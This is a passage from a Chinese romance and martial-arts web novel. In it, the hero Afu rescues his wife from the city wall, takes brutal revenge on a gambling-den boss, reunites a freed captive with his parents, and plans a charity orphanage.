你要说人家有多丑?其实也不是,除了脸上长了个胎记以外,五官长得还是很标致的,但人嘛,都喜欢凑热闹,别人都在说她丑,他们也就跟着起哄了。 赌场的打手见大家都哄笑,很是满意,正欲开口再说什么,突然间就觉得脖子一痛,鲜血喷涌而出,还没反应过来,人就已经捂着脖子倒在地上了。 而他的脖子上,赫然插着一根发簪! 第91章 你可曾想过饶过我娘子? 这根发簪是宋绀宇的,他才赶到阿福身边,喘着大气还没说一句话,头皮一松,他的发簪就被人给拔走了。 他头发散落,歪着头看向阿福,就只见他手一掷,那根发簪就像长了眼睛一般直直朝着打手的脖子飞去,噗嗤一声插入皮肉里。 这场面发生的突然,围观的老百姓见那血流飞溅的样子都被吓了一跳,惊叫着四处逃窜。 赌场的人见状也是大惊,他们四处观望,却见一道高大的身影从马背上飞起,脚尖在城墙上借力,便飞到了被吊着的女人身边。 阿福用匕首隔断了吊着丑丫的绳子,搂着他,轻盈地,稳稳当当地落在了地上。 丑丫已经快要坚持不住了,见阿福想将她搂紧,她却撑着昏迷前的最后一口气,虚弱道:“别碰我,我的血有毒。” 阿福看着她身上干涸的血迹,以及手腕上、掌心里那一道道的血口子,喉间酸涩不堪。 他回想起来昨日的画面,娘子割破自己的手腕,将她的血撒到别人身上,毒倒了不少的人,她用自残的方式来救他! 那么大的口子,那么多的血,她是不是要将自己血流干了也要救他? 丑丫说完那句话便晕了过去,浑身冰凉,阿福颤着手探了探她的鼻息,感受到那抹微弱的气流,他的心才稍稍放下。 剩下的三个赌场打手见那个可怕的男人居然逃出来了,吓得神色大变,当即撒腿狂奔,但阿福怎么可能放任他们逃跑! 他先将丑丫给放在了地上,起身,捡起死去那个打手的刀,直接将刀给飞抛了出去,刀直接插入了跑在最后那人的后背,将他的胸腔给贯穿。 又杀了一个人,但他却并未停下,足尖轻点,使出轻功,几步便飞跃到两个逃跑的人跟前,挡住他们的去路。 两个打手此刻才意识到这个男人远比他们想象的还强大,一股发自内心的恐惧袭卷全身,腿软得站不起来,扑通一下跪在了地上,不要命地磕头。 “大侠,求求你饶过我们,我们错了!” 阿福对他们的求饶充耳不闻,直接掐上一个人的脖子,眼神狠厉,手中的力气不断加重,可以听到咯吱的骨骼摩擦声。 “饶了你?那你可曾想过饶过我娘子?” 他的声音冷若寒冰,让人听了心里发颤,手上猛然用力,咔嚓一声,那人的脖子直接被他给掐断,脑袋无力的耷拉着,一股温热的血从他的嘴角滑落。 剩下一人见状,吓得尖叫着连滚带爬地逃走,但刚爬出去两步,便被一只脚踩在了地上,那力气大得像是要将他的五脏六腑给碾碎! 他如同一只被人厌恶的爬虫,被人踩在脚下,活活碾死! 阿福踏着他的尸体走过,走回到丑丫身边,脱了自己身上的外衣,裹住她,将身体冰凉的娘子单手抱在怀里,再次飞身上马,朝着医馆的方向奔去。 宋绀宇屁颠屁颠地跟在身后,脊背上都是冷汗,他现在才算见识到阿福的狠辣,居然一只手就能将人的脖子给掐断! 但就是这样狠的一个男人,却将自己的所有柔情都给了一个女人,这样好的男人,世上哪里找去。 还是之前看病的那个医馆,老大夫见又是这小两口,长长地叹了口气。 “唉,你们小两口能不能别每次出现都这么吓人,上次一个中了药,一个头破血流,现在又搞得血糊糊的,老夫迟早要被你们给吓死!” 阿福冷着一张脸,不理会老大夫的牢骚,只吐出两个字:“救人!” 老大夫瞪了阿福一眼,然后又给丑丫把了脉,发现是失血过多导致的身体虚弱,当即便让药童赶紧去熬药。 老大夫给丑丫包扎伤口,阿福全程守在床边,眼睛都舍不得眨地看着床上的人。 他身上的鞭伤也不轻,可他却像忘了自己也受伤了一般,眼里、心里都是他的娘子。 老大夫见这情况,无奈地摇摇头,这小两口,倒是他见过最恩爱的,这傻小子虽然脑子有些问题,但是真的宠媳妇。 丑丫的伤口被处理好,阿福又喂了丑丫喝完一碗药,仔细地给她擦了嘴角,之后握着丑丫的手,轻轻亲了一口手背,站起身,朝着门外走去,只知会老大夫和宋绀宇照顾好他的娘子。 宋绀宇能猜到他要干什么,本想追上去劝他别冲动,但走了两步又退了回来,他那么倔的脾气,大概也听不进他的劝。 只能高声叮嘱:“一切小心!” 阿福没回头,但停住脚步点了点头,然后便带着一身杀气朝着赌坊的方向走去。 毒贩内,郑覃正在查看赌坊的损失,阴沉的脸色看得赌坊的手下大气都不敢喘。 赌坊各处都被烧焦了,虽然及时救下了火,但还是损失惨重,重建需要花不少的银子。 越看越生气,他控制不住自己的情绪,一脚踹在一个凳子上,发出砰一声响,将手下都吓得一哆嗦。 臭娘们!是他小看她了! 两口子一个让他赌场打手死伤过半,一个直接烧了他大半个身家,真是好得很! 将她吊在城楼上太便宜她了,他要让她生不如死! “你,去城楼通知他们,将那女人的衣裳都给我扒了,让她裸着被全镇的人看!” 被吩咐的打手领命,立马出门去传话。 郑覃邪笑两声,想到了还被他囚禁着的那个极品男人,笑意更加癫狂。 本想再给他些时间适应一下,毕竟那样的男人,要让他心甘情愿地臣服于他才有趣,但既然他们敬酒不吃吃罚酒,他今晚回去就强行办了他! 他有的是手段和药,只要沾上那样的药,贞洁烈女也会变成荡妇,更别说他一个男人! 他正想得畅快,却见门口传出一声惨叫,声音竟然是他刚才派去传话的那个手下的! 可惨叫声并未停歇,一声接一声,也越来越靠近赌场内部! “郑爷!不好了!那个男人来了!” 一个手下慌慌张张跑进来禀报,郑覃还没想清楚到底是谁来了,就见门口处走进来一个高大的身影。 第92章 叫什么爷,叫哥! 男人手里握着一把长刀,刀尖还在滴血,浑身浓郁的杀气将人压迫得想要窒息,他一步一步朝着里面走来,脚踏在地板上发出嗒嗒声,像是催命的铃音。 郑覃在看到阿福那一刻,瞳孔一缩,满脸不敢置信。 “你怎会逃出来了?” 他说着,摸向自己的腰间,发现锁链的钥匙不见了,顿时气得咬牙切齿:“宋绀宇!” 只有他有接触他的机会,他想不到还有谁会拿得到钥匙,可是正因为是他,他才更气了! 那个在他身下婉转承欢、摇尾乞怜,没有一丝尊严的男宠居然会背叛他!居然敢背叛他! 阿福多看他一眼都觉得恶心,不想与他多废话,提刀便冲了过去。 郑覃慌了,他知道这个男人动了杀心,而他,根本不是他的对手。 他慌乱往后退,试图和他商量:“你别冲动,听我说,我有钱,我可以给你钱!” 阿福没有任何动摇的意思,甚至愈发的不屑和恶心,他的钱,他嫌脏! 一刀利落地挥了出去,郑覃尖叫着一把拉过身旁的一个手下,让他挡在自己跟前,阿福的刀落在了手下身上,一刀毙命! 郑覃目露凶光,拉扯着手下的尸体当挡箭牌,一只手一转,藏在袖中的弓弩便出现在了手上,弩箭朝着阿福的心口射去。 阿福眼光一闪,看到飞来的弩箭,眼疾手快挥刀,用刀面将弩箭给挡落。 郑覃一发不中,但并不死心,一箭接一箭往阿福身上射,可惜,阿福的身手太过灵活,他射出的十多箭竟都被他躲过了。 弓弩的箭量有限,所有箭都射出后,他束手无策,一双腿抖得像筛糠,手里拽着当挡箭牌的尸体也滑落,再也拽不住。 “你不能杀我你不能杀我!” 他喃喃着不能杀他,可却说不出理由,浑身早已因为惊恐被冷汗湿透。 阿福一脚飞踢,将人踹飞出去,撞在墙上再跌落,五脏六腑震得差点错位,一口鲜血喷出。 郑覃疼得说不出话,本能的手抓着地板往角落爬,但刚有动作,背上就挨了一刀,瞬间疼得他惨叫一声。 腥红的血液染湿了他的后背,阿福却还未解气,只要想到娘子奄奄一息被吊在城楼上的画面,他心中的怒气就如同咆哮的岩浆,要毁灭一切! 又是一刀往郑覃的身上划去,他并不急于杀死他,他不是喜欢折磨人吗?那他也让他试试被人折磨死的滋味! 再一刀,报的是他折磨娘子的仇! 又一刀,报的是他侮辱自己的仇! 还一刀,报的是宋绀宇被囚禁的仇! 一刀又一刀,郑覃身上布满伤口,血液浸湿了他全身,早已变得面目全非。 直到他死得不能再死了,身上也没有可以再下刀的地方,阿福才停下,提着刀,朝外面走去。 赌坊里还有活着的人,见阿福出来,他们都不自觉地往各个角落躲。 阿福的眼神扫过他们,他们不寒而栗,大气都不敢喘,终于,一个胆子大的打手,颤抖着两条腿跪到他跟前。 “爷,求您再给我们一次机会,让我们跟随您好不好?” “郑覃已经死了,从今以后,这个赌场就是您的,我们就是您的马前卒,只要您一声吩咐,我们上刀山,下火海,求您给我们一次机会!” 其他人见状,也都眼神一亮,跪到了阿福跟前,磕头求饶。 现在郑覃死了,赌场其他说得上话的也死了,他们这些小喽啰想要活命,只能另寻主子! 阿福打量着跟前跪着的十多个人,见他们都是些不起眼的,没有出头招惹过他和娘子,便也饶了他们一命。 他蹙眉思索了片刻,沉声道:“既然你们说要追随我,那便先完成一个任务来表决心!” 小喽啰们双眼放光,疯狂磕头表决心:“但凭爷吩咐!” 阿福脸一僵,对“爷”这个称呼很不满,都把他叫老了! 于是,他沉着一张脸道:“叫哥!叫什么爷!” 小喽啰们身躯一颤,不明白他们这个称呼哪里得罪他了,那些有权有势的人不是最喜欢别人称呼他们爷了吗? 但老大发话,他们就算有质疑,也只敢藏在心底,赶紧低眉顺眼地改称呼:“是,哥!福哥!” 这个男人好像叫阿福,也不知道是谁给取的名字,这么个煞神居然叫这么个破名,不知道的还以为是哪个村头的大傻子呢! 听到那声福哥,阿福才满意地松开眉头,给他新收的手下们交代了任务,然后又急匆匆地回医馆去找娘子。 医馆内 丑丫已经醒了,靠在床头喝着粥,眼睛不一会儿便要往门外瞅。 老大夫看她这样,打趣道:“行了,一个眨眼的功夫你就要看三次,就这么稀罕你家那傻小子?” 丑丫脸有些热,就连苍白的脸色也有了红晕,但害羞过后却是老老实实的回答:“嗯,稀罕。” 老头摇摇头,一脸的没眼看,继续捣弄自己的药材。 两人话才落,就见阿福风风火火地从门外走进来了,他看到已经醒来的娘子,一双好看的眼睛都亮了起来,脚步愈发的加快。 “娘子,我回来了!” 还在门口,他便已经迫不及待的出声,像极了以往在家时,只要他出门,才回到门口就会这样喊,看着娘子跑着出来迎接他,他就觉得无比的开心。 丑丫控制不住地想下床去拥抱他,可是腿上中了箭,被绑得死死的,根本动不了。 她着急间,阿福已经来到了她跟前,一把将她拥入怀中。 炽热的怀抱,但是他的动作却很轻柔,生怕弄伤了他放在心尖尖上的娘子。 丑丫也紧紧搂着他,虽然城楼下已经被他抱过,可那是她昏迷了,根本来不及好好看他。 她摸了摸他的头,又推开他,拉着他上下打量。 “我看看你伤哪儿了?疼不疼啊?” 她一脸的着急,郑覃可是说了,他抽阿福鞭子,还用烙铁烫他,那得多疼啊! 衣裳拉开,她就看到了他胸膛处浸出的血迹,顿时手抖了抖,眼睛一眨不眨地看着他血迹斑斑的胸膛,眼泪止不住的一颗一颗地往下滚。 阿福见她哭了,也慌了起来,忙安慰:“娘子不哭,没事儿,不疼的,不疼的。” 可是丑丫哪里会信啊,那么多血,怎么可能不疼! 她强忍着想嚎啕大哭的冲动,将阿福的里衣也给拉开了,纵横交错的伤痕立马映入眼帘。 第93章 我家小宇回家了 她的哭声再也压抑不住,呜咽出声,手不敢再碰阿福,那眼泪滚得更厉害了。 “阿福好疼啊,阿福” 她话都说不清楚,只喊着疼,不止是替阿福疼,也是她自己疼,她心疼! 这个大傻子,受了多少苦啊! 阿福也慌了,不知道该如何安慰娘子,只能搂紧她。 “娘子不哭,我在呢,我没事儿。” 老大夫看得牙酸,他怀疑这小两口就是故意的,故意来酸他的! 欺负他没老伴儿?过分! 宋绀宇却看得一脸感动,最开始初见丑丫,他是诧异的,以为被阿福这样优秀的男人看上的女人也应该是个绝色,但却没想到是个普普通通的小姑娘。 但现在他明白了,真正的喜欢,无关外貌身份,他们互相心疼、互相挂念,都将彼此当作是自己最重要的人,只要这样,便已经够了。 想到这儿,他心里不禁一阵酸涩,他这辈子大概也遇不上这样的人了,毕竟他这么肮脏,谁会喜欢他这样的人呢! 老大夫是实在看不下去黏黏糊糊的小两口,出声道:“行了,别哭了,再哭那些伤也不会好,还是让我来给他上药吧!” 丑丫听到这声音,才想起来他们还在医馆呢,让别人看了这么大个笑话,不由涨红了一张小脸,而阿福则不满地瞪了老大夫一眼。 老大夫气得跺脚,这还好不是他儿子,要是他儿子,他不得被气得少活好几年! 在医馆里处理好伤口,开了药,阿福便背着丑丫回家了,宋绀宇也跟随他们一道回了家。 小院落和他们离去之前并没有什么不同,还是那样的温馨、整洁,宋绀宇四处打量着这个小家,心中的羡慕情绪更浓。 他不羡慕那些穿金戴银的,被郑覃关在后院的这三年,他如同笼中的金丝雀,吃穿用度都是最好的,可却没有自由,没有尊严。 他今年也不过才二十岁,十七岁的他向往着能娶一个与他心意相通的媳妇儿,生两个调皮可爱的孩子,父母在身边,一家人和和美美地过日子。 可这一切都被郑覃给毁了! 他长得像母亲,小时候别人见他总会问是男孩还是女孩,后来长大了,他的容貌还是没有多大的变化,阳刚中带着柔和。 那天不过是像往常一样,他上街帮着父亲卖编好的竹编,却不曾想会遇上那个恶魔。 他当街抢了他,打伤了他的父亲,将他带回后院锁了起来。 郑覃使尽各种手段折磨他,为的是让他心甘情愿的当他的男宠,他当然不愿意,可是只要他反抗,他便抓了他的父母,让他眼睁睁地看着他们被打! 他舍不得父母受到伤害,只能忍着恶心,出卖自己的肉体,出卖自己的灵魂。 被郑覃触碰,他觉得恶心,可是郑覃手中有各种各样的药,他将它们都用到了他身上 过去的种种他不想再去回忆,只要想起来,他便觉得自己恶心、肮脏! 阿福将丑丫抱进了房中,她的身体还很虚弱,被他哄了一会儿便睡着了,阿福又从房中出来找宋绀宇。 “走吧,我随你回家一趟。” 阿福看着发呆的宋绀宇道。 虽然郑覃已经被他杀了,赌坊的也成了他的,但是答应过宋绀宇的事情还是要完成的。 宋绀宇从自己的思绪中回神,情绪不高,牵强地扯出一抹笑:“你的身体要紧,我自己回去吧。” 阿福没理会他,一巴掌拍在他肩上,差点将他拍了一个趔趄,人已经朝着门口的方向走了。 宋绀宇无奈,只能抬脚追上他的步伐。 他家也住在镇上,与阿福和丑丫的小院的距离并不是很远,走路约莫两刻钟就到了。 一路上,宋绀宇惆怅又忐忑,他当然期待着见到父母,可是又害怕见到他们。 他太脏了,脏到了骨子里,永远也洗不干净了,他怕看到他们嫌弃的眼神,也怕感受到他们失望的情绪。 按照着记忆中的路往他三年来想了无数次的家走去,可是站在家门口时,他却没有勇气敲响那扇门。 阿福看他犹犹豫豫的样子,直接一步上前,敲响了院门。 院中传来一声年迈的老人的声音:“谁啊?来了!” 宋绀宇听到那声音,身体一颤,眼眶里蓄满了泪水,下意识往阿福背后躲。 不一会儿,门便开了,一个佝偻着身体、头发花白的小老头将门给打开,抬头一看门口站着个大高个男人,吓了一跳。 阿福的身体比宋绀宇魁梧,他躲在他身后,藏得严严实实的,老人没注意到他。 阿福没出声,直接手一捞,将藏在他身后的宋绀宇给拽了出来。 老头看到那个被拽出来的人,眼神一滞,不敢置信地瞪大眼睛,就连身体也开始颤抖。 他颤颤巍巍,语气里满是不敢置信:“小宇?是你吗?” 老头说着,眼泪已经落下来,迫不及待地上前,拉着宋绀宇仔细打量。 “是我家小宇!是我家小宇!” 老人喜极而泣,喃喃自语,宋绀宇也哭成了个泪人,颤抖着声音:“爹” “哎!回家了!我家小宇回家了!” 老头高兴地应着,忙对院内喊道:“老婆子!你快出来,小宇回来了!” 哐当一声,院内传出一阵东西掉落的声音,紧接着便看到一个头发花白的老太太着急忙慌地跑了出来。 到了门口,她看着那道他日思夜想的身影,捂住了自己的嘴,不敢让自己哭出声,生怕将人给吓跑了。 她小心翼翼地伸出手,想摸摸看是不是真的,是不是她的儿子真的回来了! 宋绀宇看着这样小心翼翼的母亲,心难受得要滴血,他伸手握住母亲的手,哽咽着道:“娘!” 老太太一瞬间放声哭了出来,紧紧抓着儿子的手不放:“娘的小宇啊!娘终于等到你回来了!” 一家三口在门口哭得不能自已,附近的邻居听到动静都探出头来看,阿福扫视他们一眼,邻居们被那冷冰冰的眼神吓一跳,又缩回了脑袋。 但他们心情还是激动的,老宋家那个被抢去当男宠的儿子居然回来了! 第94章 吊在城楼上的死人 一家三口哭够了,老太太才注意到站在他们身边那个大高个小伙,当即抹了把眼泪,不好意思道:“小宇,这是你朋友?看我这脑子,娃,快进来院子里坐!“ 宋绀宇也抹了把眼泪,回道:“嗯,他叫阿福,这次是他救了我,我才跑出来的。” 老太太和宋老头听到这话,看阿福的眼神就像看寺庙里的菩萨一般。 “快进来坐,我就是太激动了才怠慢了你,娃别介意啊!” 老太太热情地招呼着阿福进院子,头一次看到比他家小宇还好看的小伙子,老人的眼光十分灼热。 宋绀宇是他们四十岁的老来子,在他上面还有一个已经出嫁了的姐姐,所以老夫妻俩年纪都不小了,看着阿福就像看他们自己的孩子一样,一口一个娃。 进了院子,老太太热情地去端茶,还端上来一盘炒瓜子。 “娃赶紧吃,这是我自己炒的,小宇以前最喜欢吃了,小宇也吃!” 老太太还没从激动中缓过来,抓了把瓜子就要往两个小伙子手里塞。 儿子喜欢吃炒瓜子,他们一直备着呢,就怕那天儿子回来了,想吃却没有。 宋绀宇握紧手中的瓜子,又心酸得想流泪。 几人说着话,不过都是宋绀宇和爹娘说,阿福就安静地听着。 宋绀宇将事情的来龙去脉说了一遍,老两口知道是阿福救了他们儿子,感激地站起身就要给阿福磕头。 阿福伸手拦住两个老人,那力气大的,两个老人怎么跪都跪不下去。 除了对娘子有十足的耐心以外,阿福对其他任何人都是板着一张脸的样子,看着老夫妻,冷冰冰道:“他也救了我,我们扯平了。” 老两口见实在跪不下去,这才歇了要给他磕头的心思。 老太太看着眼前小伙的那张俊脸,喜欢得不得了,笑眯眯地问:“娃有媳妇没有啊?” 聊别的阿福没兴趣,但要是有人提起他娘子,他的兴趣就来了。 “有,我娘子最好了!” 阿福十分认真地回答,语气里还带了些傲娇,老太太听得一愣一愣的,这小伙咋一会儿一个样呢? 宋绀宇捂脸,知道这位大哥疼爱娘子,却不知道他还喜欢显摆娘子! 他又和爹娘将丑丫的事情解释了一遍,老两口听得义愤填膺。 “这杀千刀的郑覃,连个女娃娃都不放过,他到底要残害多少人才够啊!” 老太太又气又心疼,骂着骂着不由又想起了儿子被绑走的这三年,眼泪又不受控制地流了下来。 他们儿子,这三年吃了多少苦啊! 哭完,她又拉着阿福的手,语重心长道:“娃,你这媳妇是个好的,你要好好和人家过日子,可不能像其他男人那样有花花肠子。” 这小伙长得实在太好看了,肯定有不少姑娘惦记他这张脸,要是换了那些爱沾花惹草的男人,早就靠着这张脸,睡在女人堆里了。 听到有人叮嘱他要对娘子好,阿福还是很听话的,认真地听着老太太说完。 将宋绀宇送回家,确定他家不再受威胁后,阿福就准备回家了,娘子还在家里等他呢。 老太太要留他吃饭,但阿福执意要走,最后还是宋绀宇出面解决。 这位大哥,把娘子当作眼珠子、心尖子,哪儿舍得让她独自一个人在家这么长时间。 老太太听后才不舍地放人走,只说改天一定要登门道谢。 阿福回了家,路上到饭馆里买了一锅粥拎回去。 他小心翼翼地推门进房,看到床上躺着的那一团缩在被子里小小的身影,一颗心都安定下来。 丑丫睡得很熟,听到有人进来,迷迷糊糊地睁眼,看到是阿福,便又安心地睡过去。 阿福走到床边,将小巧的娘子抱在怀里,摸了摸她苍白的小脸,像以往她哄自己一样,声音温柔得似要滴水。 “娘子,乖,先起来吃点东西再睡好不好?” 闻着阿福身上那股熟悉的味道,丑丫的眉头舒展,又眯着眼睡了一会儿才睁开眼。 阿福盛了一碗粥,端在手里,吹凉了才舍得给娘子喂,丑丫抬眸看他眼底有了红血丝,下巴也长了胡茬,憔悴了不少,也心疼得厉害。 “阿福,你也吃,我自己来就好。” 她伸手要接过粥碗,可是阿福却不让她碰:“乖,我喂你。” 丑丫拗不过他,只能由着他喂,等她吃饱后,阿福才将剩下的粥都给喝完了。 两人吃饱喝足,丑丫拉着阿福的手,要他和自己一起睡,他身上的伤不轻,可这个男人就像个铁人一样,都不知道好好休息。 两人躺到了床上,手紧紧的握着,感受着彼此的体温,都觉得格外的温暖安心,神经紧绷了许久的阿福此时也真正的放松下来,先丑丫一步入睡。 丑丫小心翼翼的挪动自己,让自己侧身躺着,注视着阿福的睡颜。 她摸了摸他下巴长出来的胡茬,眼底泛着柔光。 辛苦了,我的大傻子。 夜里,万籁俱寂,镇上的人都陷入梦乡中,一群人却在黑暗中行动。 天明时,百姓们照常起床,却惊悚的发现城楼处又挂了一个人,不同于之前,这次挂着的是个死人! 这人被砍得面目全非,身上的衣裳早就被血给染成了红色,仔细看可以发现,他缺了一只手,从手腕处被人给砍下来了! 而更惊悚的是,他的下身也被人给剁下来了,就用绳子吊在了他的脚上,迎风飘扬着。 男人们看到这场景,都吓得捂着裆逃跑,总觉得下身隐隐作痛,而女人看到则是又怕又羞涩,捂着脸逃跑。 造孽!她们不会长针眼吧? 很快就有人认出被吊着的那个死人是神威赌坊的老板郑覃,一时间,惹来不少人叫好。 叫好的人大多都是被郑覃的人欺负过的,他们一个个也顾不得害怕尸体的恐怖样子,在城楼下骂骂咧咧,大叫死的好! 还有些被收过保护费的店家,听闻郑覃死了,尸体就被挂在城楼上,立马跑过去凑热闹。 等见到人真的死了时,喜极而泣,在城楼下嚎啕大哭。 而除了城楼处,此时县衙内也很不平静。 县太爷早上推门而出,就见门口处吊着一只血糊糊的手,那只手上还带着一串佛珠,他认识,是郑覃的,他基本上珠子不离手! 第95章 这样的阿福好第章第章第章第章第章第章色 县太爷被吓得一屁股摔在地上,鬼哭狼嚎大叫,下人们闻声赶来,也被眼前的情况吓了一跳,而除了挂着的断手,门外的墙上、地上布满了血手印,看得人心惊胆战。 县太爷承受不住这种刺激,眼睛一翻直接晕了过去,县衙内一阵兵荒马乱,等县太爷再次醒来时,衙役们已经将事情经过打听清楚了。 郑覃死了,尸体被砍得不成样子,还挂在了城楼上,但他们去赌坊询问,都没人指认是谁做的。 他们大概能猜到是谁做的,昨天有个女人被赌坊的人吊在城楼上,今天就换成了郑覃,况且那女人还上衙门状告郑覃抓了他相公,这些线索实在太明显! 可猜到又如何,郑覃是镇上的地头蛇,势力强大,连他丢了命都奈何不了的人,他们县衙能有什么办法? 只能睁只眼闭只眼装作看不见! 县太爷此时也是一脸的后悔和后怕,他要是早知道对方有这种能耐,在那个女人来敲鸣冤鼓的时候,他就和他们站在一条线上,说不定他们还会记他的好! 可是后悔已经来不及了,他只能夹着尾巴做人,在这种天高皇帝远的地方,他一个小小的七品芝麻官,地头蛇、世家大族都不将他放在眼里,只有当个糊涂官才能保命。 丑丫并不知道阿福背着她安排了那么多的事,她没和他说过在县衙受的委屈,但是他听别人鸡一嘴、鸭一嘴地聊八卦,也弄清楚了事情的大概,所以将郑覃的断手给送去,给县太爷一个下马威。 舒坦地睡了一夜,即使身上的伤口一阵一阵地疼,但精神紧绷了好几天的两个人还是休息得很好,天光大亮了还赖在被窝里不起床。 丑丫将脑袋凑到阿福脸旁,低头亲了下巴一口,胡茬将唇扎得酥酥麻麻,但是她还是亲得很开心,发出响亮的一声。 亲一口还不过瘾,又将自己的脸贴在他的脸上蹭一蹭,像极了一只用脑袋蹭主人胡茬挠痒痒的小猫咪。 阿福早就醒了,感觉到娘子对他的亲昵,他索性闭着眼睛装睡,可是那止不住上扬的唇角却出卖了他。 丑丫捏了一把他的脸,笑道:“装得一点都不像,哪有睡着的人笑成这样的!” 被抓包的阿福也不觉得羞恼,大大方方地睁开眼睛,目光灼灼地盯着她,嘴甜得像吃了蜜糖:“娘子亲阿福,阿福开心!” 丑丫被他看得不好意思,将脑袋缩回被子里,心里想着她这是走了什么大运,遇上了阿福这么好的男人,无论看多少次,她还是觉得他好看得过分。 阿福觉得这样的娘子可爱极了,早晨的男性都有着最原始的冲动,他喉结微微滑动,掀开被子,也钻了进去,覆在娘子的身上,准确无误地寻找到那抹温润,亲吻、吮吸、交融。 丑丫只觉得自己的唇瓣酥酥麻麻的,整个人也飘飘忽忽,像漂浮在了海面上,根本找不到着力点。 阿福身上有伤,她不敢动,怕弄疼了她,只能乖巧地躺着,任由他索取。 她脑袋逐渐变得一片空白,再也没有多余的心思去想别的,只全神贯注地感受着身上男人的灼热。 阿福的喘息声逐渐变大,一声接一声,丑丫听得两只小耳朵红透了,羞涩得不敢睁眼。 这样的阿福,好色。 他的身体越来越烫,而身体某个地方也早已觉醒,丑丫早就感觉到了,虽然已经和它亲密接触过,但每次还是会害羞得不知所措。 阿福停下亲吻,翻身平躺在床上,胸膛起伏着,似乎在平复体内的欲火。 丑丫悄悄睁眼偷看,然后在被子里窸窸窣窣,用自己没受伤的那只手,精准地朝着某个地方探索。 阿福身体一颤,不敢置信地转眸看向丑丫,就见丑丫的脸红得像要熟了一般,眼睛也不敢睁,但那小手却是很熟练 两人腻歪了一个早上终于舍得起床了,但丑丫的腿受了伤,还不能下床,阿福便把她抱到了门口的躺椅上,吹吹风,看看花。 小院中种了花,大多都是之前的主人留下的,经过阿福和丑丫的精心照料,长得很好,有些已经开了不少花。 阳光明媚,清风徐来,花团锦簇,蝴蝶翩飞,眼前的一切都是那么岁月静好,美好到丑丫都要以为前几天遭受的那些磨难都是她做的噩梦,是错觉。 阿福是个闲不住的,尽管身上还缠着绷带,可他就像毫无感觉一般,拎着食盒出门,不一会儿就给丑丫买了不少的吃食回来。 一锅香喷喷的瘦肉粥,两碗糖水,还有一些水果。 两个伤员就躺着躺椅,吃着好吃的,舒舒服服地享受养伤生活。 下午,几个人探头探脑的来了小院,丑丫看过去,惊讶地发现居然是赌坊的人,而他们似乎也不是来找茬的。 阿福走了过去,几个赌坊的人点头哈腰,一脸讨好:“福哥,你交代的事,我们都已经做好了!” 阿福点头,从腰带上扯下荷包扔给他们:“嗯,你们先去赌坊守着,我有时间会过来。” 几个手下高兴地拿着荷包走了,阿福转身回院子,就见娘子探着小脑袋在听他们说话。 他笑着走过去,将赌坊的人投靠他的事情告诉了她,丑丫听完,呆愣了好久。 这一切怎么像做梦一样,昨天还和他们打得你死我活,今天就成一家了? 阿福不想瞒着娘子,又将他让他们几人将郑覃的尸体挂城楼上,以及恐吓县令的事儿也全盘交代。 或许是之前已经震惊过,现在又听到这么一个大消息,丑丫都没觉得多震撼了,只呆坐着好好消化这个消息。 等接受这个消息后,她又觉得心中一阵舒爽,恶人罪有应得,活该! 但这么大个赌坊他们要怎么办?郑覃这些年肯定敛了不少财,藏在了哪里?他们要如何处理这些钱? 丑丫的小脑瓜里一脑子的疑问,要不是现在腿还伤着,她肯定要起来亲自去赌坊看看! 阿福对如何安排赌坊也没什么好办法,他虽然答应让那几个打手跟随他,但如何安排他们,他还没想过。 两人躺着躺椅,吃着水果,时不时交谈两句,到了晚上的时候,终于想出了一个妥善管理赌坊的方法。 第96章 可是永远洗不干净了! 赌坊的生意还要继续,但是不能像之前郑覃那样搞黑手,一切公平公正,将赌坊的名声给打出去。 然后利用郑覃这些年敛的财成立一个善堂,专门照顾那些无父无母的孤儿,今后赌坊的营收也用于经营善堂。 这是丑丫想了许久才想出来的办法,她父母早亡,受了太多的苦,知道无父无母的孩子活着有多艰难,所以她想帮别人一把。 赌坊的人虽然投靠了阿福,赌坊也成了他的,但他们两人对那笔飞来的横财都没有兴趣,郑覃的钱来得不干净,他们不想花在自己身上,便用它去做善事吧。 他们只想守着他们的小面馆过日子,不求大富大贵,只求能吃饱穿暖,幸福安乐足以。 阿福的身体恢复能力惊人,才休息了两天就可以活蹦乱跳了,他也闲不住,着手下去处理赌坊的事情。 赌坊有个私库,阿福和几个手下找了许久才找到,里面有几大箱子的金银珠宝,看得人眼花缭乱。 除了赌坊,阿福还带人去了郑覃的私宅,将宅子上下都翻找了个遍,又找到了一处库房。 私宅的下人和男宠们都跑光了,明面上摆着的值钱东西也被他们搬空了,但库房藏得隐秘,他们没能找到。 若不是阿福隐隐觉得自己会机关术,找到了进库房的机关,他们估计也要无功而返。 郑覃宅院库房里的财物要比赌坊的多了好几倍,要是将这些钱财占为己有,可以供几代人生活。 赌坊的手下们看得眼睛都直了,在钱财面前,谁能保证自己一点贪心都没有,但是他们看向一脸淡漠的阿福,才发现,原来真的有人不贪恋钱财。 阿福将他和娘子对于这些钱财的规划说了,手下们都大受震撼,他们居然想拿这些钱去做善事,而不是占为己有! 最开始的震惊过后便是满腔的敬佩,要换做是他们,他们绝对做不到这么无私! 他们之所以跟着郑覃混,很大一个原因是他们大多数人其实都是孤家寡人,反正就贱命一条,一人吃饱,全家不饿,跟着郑覃混,不仅有钱拿,还很威风! 但是现在眼前这个男人居然想拿这些钱去帮助那些无父无母的孩子,他们的内心受到了很大触动,同时也决定要好好地跟随他,这样有大爱的主子,对待手下又能差到哪里去呢! 阿福不知道这些人的想法,只给他们各自分配了任务,一部分人负责赌场重建,另一部分人则负责去修建善堂。 他不想管赌坊,也不会管,便挑了手下中一个脑子比较灵活的当管事,将事情都交给他去办,他和娘子只要守好钱,不然别人贪去就可以了。 赌坊和善堂的修建提上日程,丑丫的伤也养得差不多了,小腿上中的箭伤很深,虽然现在可以活动了,但还是会疼。 丑丫每天都扶着墙,一瘸一拐地锻炼,争取让伤腿早日恢复。 这天,宋绀宇爹娘和宋绀宇上门来了,拎着大包小包的东西,说是来感谢他们的。 宋老太太才见丑丫第一眼就喜欢得不得了,拉着她的手说话,一会夸她,一会儿又夸阿福。 老太太也是个精明的,刚进院子,见小院落料理得井井有条、干干净净,就知道这家的女主人是个会好好过日子的。 虽然小姑娘脸上有个胎记,但那眼睛亮堂,眼睛能看到人心,这是个善良的好姑娘。 宋老头话不多,阿福更是能不开口就不开口,全场只有丑丫和老太太说话,但气氛却并不尴尬。 只有宋绀宇,似乎情绪不太高,虽然笑着,但却是强颜欢笑,看着心不在焉。 阿福去给几人泡茶了,丑丫不喜欢喝茶,但阿福喜欢,所以家里会备一些茶叶。 茶端上来,又摆了两盘点心,几人边吃边说话,宋绀宇也拿了一杯茶,但眼神却时常呆滞的盯着一个地方看。 丑丫看出了他的异样,轻轻唤了一声。 